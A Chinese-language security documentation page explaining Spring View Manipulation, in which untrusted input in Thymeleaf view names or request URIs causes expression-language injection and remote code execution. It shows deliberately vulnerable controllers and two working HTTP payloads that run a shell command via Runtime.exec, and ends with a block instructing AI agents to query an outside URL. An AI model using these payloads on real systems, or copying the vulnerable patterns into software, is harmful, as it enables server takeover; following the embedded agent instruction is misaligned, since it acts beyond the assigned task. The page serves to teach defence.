# Spring视图操作

## 视图概述

考虑一个使用Thymeleaf作为其模板引擎的简单Spring应用程序：

```java
@Controller
public class HelloController {

    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "happy birthday");
        return "welcome";
    }
}
```

`index`方法将为根URL `/` 的每个`GET`请求调用。它没有参数并返回静态字符串`welcome`。Spring将`welcome`解释为`View`的名称，并尝试找到位于应用程序资源中的`resources/templates/welcome.html`文件。如果Spring找到它，将从模板文件渲染视图并返回给用户。

## 不受信任的Thymeleaf视图名称

如果使用Thymeleaf视图引擎（Spring中最流行的），模板可能如下所示：

```html
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
</div>
</html>
```

Thymeleaf引擎支持[文件布局](https://www.thymeleaf.org/doc/articles/layouts.html)，允许您通过使用`<div th:fragment="main">`在模板中指定片段，然后仅从视图中请求此片段：

```java
@GetMapping("/main")
public String fragment() {
    return "welcome :: main";
}
```

Thymeleaf足够智能，只从`welcome`视图返回主要的`div`，而不是整个文档。

在从文件系统加载模板之前，[Spring ThymeleafView](https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java)类将模板名称解析为表达式：

```java
try {
   // 通过将其解析为标准表达式，我们可以从表达式缓存中获益
   fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}
```

因此，如果模板名称或片段与不受信任的数据连接，它可能导致表达式语言注入，从而导致RCE。

例如，以下方法容易受到表达式语言注入攻击：

```java
@GetMapping("/path")
public String path(@RequestParam String lang) {
    // 潜在的路径遍历，但限于'templates'文件夹
    return "user/" + lang + "/welcome";
}

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section;
}
```

以下请求在服务器上创建`executed`文件：

```http
GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x HTTP/1.1
Host: vulnerable-website.com
```

![](/files/iFDvHzYQH5nktYm90aLL)

此漏洞利用使用[表达式预处理](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)。为了使表达式被Thymeleaf执行，无论前缀或后缀是什么，都需要用`__${`和`}__::.x`包围它。

## 不受信任的隐式视图名称

控制器并不总是返回明确告诉Spring使用什么视图名称的字符串。如[文档](https://docs.spring.io/spring-framework/docs/current/reference/html/web.html#mvc-ann-return-types)中所述，对于某些返回类型，如`void`、`java.util.Map`或`org.springframework.ui.Model`，视图名称通过`RequestToViewNameTranslator`隐式确定。

这意味着乍一看这样的控制器可能看起来完全无害，它几乎什么都不做，但由于Spring不知道要使用什么视图名称，它**从请求URI中获取**。

```java
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
}
```

具体来说，`DefaultRequestToViewNameTranslator`执行以下操作：

```java
/**
 * 将传入的{@link HttpServletRequest}的请求URI
 * 转换为基于配置参数的视图名称。
 * @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
 * @see #transformPath
 */
@Override
public String getViewName(HttpServletRequest request) {
    String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
    return (this.prefix + transformPath(lookupPath) + this.suffix);
}
```

所以，它变得易受攻击，因为用户控制的数据（URI）直接进入视图名称并被解析为表达式：

```http
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1
Host: vulnerable-website.com
```

## 参考

* [Spring View Manipulation Vulnerability](https://github.com/veracode-research/spring-view-manipulation/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.cdxiaodong.life/kuang-jia-an-quan/spring/view-manipulation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
